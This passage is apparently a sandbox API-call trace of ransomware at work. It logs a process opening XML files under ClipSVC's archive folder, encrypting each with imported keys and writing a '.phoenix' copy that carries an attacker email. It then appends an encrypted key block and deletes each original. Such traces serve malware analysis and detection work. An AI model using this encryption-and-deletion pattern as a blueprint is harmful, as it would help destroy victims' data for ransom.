	[0243.756] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.767] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3240) returned 1
	[0243.767] CloseHandle (hObject=0x2f0) returned 1
	[0243.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml")) returned 0x20
	[0243.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.767] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.767] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.799] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0243.799] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.799] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xca8, lpOverlapped=0x0) returned 1
	[0243.802] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcb0, dwBufLen=0xcb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcb0) returned 1
	[0243.802] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xcb0, lpOverlapped=0x0) returned 1
	[0243.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0243.802] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.803] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.803] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.803] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.803] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0243.803] CloseHandle (hObject=0x2f0) returned 1
	[0243.803] CloseHandle (hObject=0x2b4) returned 1
	[0243.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3bef1b80-1939-62a0-48e8-4b25b157e940.xml")) returned 1
	[0243.804] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0243.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.804] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3190) returned 1
	[0243.804] CloseHandle (hObject=0x2b4) returned 1
	[0243.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml")) returned 0x20
	[0243.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.804] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.804] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0243.805] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.805] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc76, lpOverlapped=0x0) returned 1
	[0243.872] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0243.872] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0243.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0243.873] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.873] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.873] CryptDestroyKey (hKey=0x151600) returned 1
	[0243.873] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.873] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.873] CloseHandle (hObject=0x2b4) returned 1
	[0243.873] CloseHandle (hObject=0x2f0) returned 1
	[0243.873] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3d4098b6-679e-0d7e-f478-ee96ebcb42ff.xml")) returned 1
	[0243.874] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0243.874] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.874] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3224) returned 1
	[0243.874] CloseHandle (hObject=0x2f0) returned 1
	[0243.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml")) returned 0x20
	[0243.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.875] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.875] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0243.875] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.875] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc98, lpOverlapped=0x0) returned 1
	[0243.957] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0, dwBufLen=0xca0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0) returned 1
	[0243.958] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xca0, lpOverlapped=0x0) returned 1
	[0243.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0243.959] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.959] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.959] CryptDestroyKey (hKey=0x151380) returned 1
	[0243.959] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.959] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.959] CloseHandle (hObject=0x2f0) returned 1
	[0243.959] CloseHandle (hObject=0x2b4) returned 1
	[0243.959] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3ebdb897-991b-934f-ee13-2ca21ed81938.xml")) returned 1
	[0243.960] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0243.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.961] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3207) returned 1
	[0243.961] CloseHandle (hObject=0x2b4) returned 1
	[0243.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml")) returned 0x20
	[0243.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0243.963] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.963] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.963] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0243.963] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.963] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc87, lpOverlapped=0x0) returned 1
	[0244.037] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc90, dwBufLen=0xc90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc90) returned 1
	[0244.037] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc90, lpOverlapped=0x0) returned 1
	[0244.038] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0244.038] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.038] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0244.038] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.038] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0244.038] CryptDestroyKey (hKey=0x151600) returned 1
	[0244.038] CloseHandle (hObject=0x2b4) returned 1
	[0244.038] CloseHandle (hObject=0x2f0) returned 1
	[0244.038] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\41a63518-8ec4-f58c-c5ed-313ea0fb2820.xml")) returned 1
	[0244.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0244.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.039] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2631) returned 1
	[0244.039] CloseHandle (hObject=0x2f0) returned 1
	[0244.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml")) returned 0x20
	[0244.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.040] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.040] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0244.090] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.090] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa47, lpOverlapped=0x0) returned 1
	[0244.129] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50, dwBufLen=0xa50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50) returned 1
	[0244.129] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa50, lpOverlapped=0x0) returned 1
	[0244.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0244.130] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.130] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0244.130] CryptDestroyKey (hKey=0x151780) returned 1
	[0244.130] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0244.131] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.131] CloseHandle (hObject=0x2f0) returned 1
	[0244.131] CloseHandle (hObject=0x2c8) returned 1
